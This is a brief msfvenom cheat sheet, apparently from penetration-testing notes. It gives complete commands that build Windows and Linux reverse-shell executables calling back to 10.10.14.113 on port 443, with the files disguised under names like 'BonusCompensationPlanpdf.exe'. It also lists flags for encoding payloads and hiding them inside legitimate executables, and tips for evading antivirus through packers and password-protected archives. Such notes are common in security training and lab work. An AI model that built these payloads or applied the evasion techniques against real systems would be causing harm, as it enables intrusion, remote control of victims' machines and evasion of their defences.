msfvenom
Listing Payloads
msfvenom -l payloadsStaged vs Stageless payloads
windows/meterpreter/reverse_tcp vs windows/meterpreter_reverse_tcp
The former is staged, after the architecture each / is a stage. The latter doesn't have a / after the meterpreter part, so it's stageless
Creating a payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exemsfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf-pbuild payload-foutput format
List options
msfvenom -p java/jsp_shell_reverse_tcp --list-optionsBasic msfvenom
One can also use the -a to specify the architecture or the --platform Listing
Common params when creating a shellcode
Encoding
-bfor bad bytes-eencoding
Antivirus evasion
Hiding payload inside of legitimate executables
-iiterations of encoding-kcontinue with normal execution-xinput file to embed the payload into-ooutput file
Archiving
use multiple zip/rar/compression layers with passwords to evade detection on the network
Packing
A list of popular packer software:
Also see PolyPack.
Last updated